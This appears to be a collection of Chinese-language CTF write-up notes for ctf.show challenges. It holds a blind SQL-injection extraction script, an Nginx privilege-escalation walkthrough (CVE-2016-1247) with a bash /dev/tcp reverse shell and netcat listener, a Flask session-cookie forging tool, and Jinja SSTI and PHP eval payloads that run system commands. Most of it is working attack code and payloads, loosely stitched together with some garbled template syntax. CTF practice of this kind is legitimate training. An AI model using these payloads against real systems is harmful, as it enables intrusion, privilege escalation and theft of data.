F12,有register.php
import requests
import re
url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
print(payload)
s = requests.session()
data1 = {
'e': str(i + 30) + "',username=" + payload,
'u': "*/#",
'p': i + 30
}
# print(data1['e'])
r1 = s.post(url1, data=data1)
data2 = {
'e': i + 30,
'p': i + 30
}
r2 = s.post(url2, data=data2)
t = r2.text
real = re.findall("Hello (.*?),", t)[0]
flag += real
print(flag)
运行结束后将所得数字16进制转字符串两次即可
为了降低难度,漏洞大约每两分钟触发一次
hint1: whoami && ls -l /
hint2:如你们所说,提权,看看服务器有什么服务
猜测可以使用菜刀连接,密码为cai,进入根目录发现flag,但没有权限打开,猜测需要提权
漏洞每两分钟触发一次,可能有定时任务:cat /etc/crontab
发现底部有一个一分钟的定时任务
先看看基本信息
lsb_release -a,列出所有linux系统版本信息
nginx -v,列出nginx版本信息
得到
Ubuntu 14.04.5 LTS
nginx/1.4.6 (Ubuntu)
找到利用漏洞:Nginx权限提升漏洞(CVE-2016-1247)
下述版本之前均存在此漏洞:
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
下载对应POC(第V部分):CVE-2016-1247
将POC上传到服务器
注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”
,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。
通过cat -A filename
查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。
使用自己的服务器监听用于反弹shell
nc -lvvn 39543
在被攻击服务器上开启反弹
bash -i >& /dev/tcp/addr/port 0>&1
反弹成功后运行POC
chmod a+rwx nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log
Linux chmod(英文全拼:change mode)命令是控制用户对文件的权限的命令,这里a代表所有用户,+ 表示增加权限,r 表示可读取,w 表示可写入,x 表示可执行。
等待漏洞生效即可拿到shell
flask session伪造
SSTI
开头进入是一个登录框,F12发现
param: ctfshow
key: ican
随便输入登录,获得了session且显示admin
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='' ,
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='' ,
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
脚本有加密和解密两种功能
解密:
python flask_session_manager.py decode -c -s
# -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:
python flask_session_manager.py encode -s -t
# -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
猜测密钥为ican,这里我们先解密得到:
{'username': '123'}
修改用户名为admin再加密,对原有cookie进行替换
成功登录后提示缺少请求参数,猜想是ssti
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{
% endif %}{
% endfor %}
由于题目提示:内存flag
查看环境变量
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{
% endif %}{
% endfor %}
CVE-2019-11043
利用工具:PHuiP-FPizdaM
sql注入
'
可以用于闭合,#
可以用于注释,^
进行异或运算,=
就是判等
利用空异或0会查到所有非数字开头的记录
payload
'^0# '^''# '<>1# '<1# '&0# '<<0# '>>0# '&''# '/9#
($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);
绕过或变量覆盖
?S=a;system('cat ../../flag.txt');
?S=a=system('cat ../../flag.txt');
参考链接:
http://blog.leanote.com/post/snowming/9da184ef24bd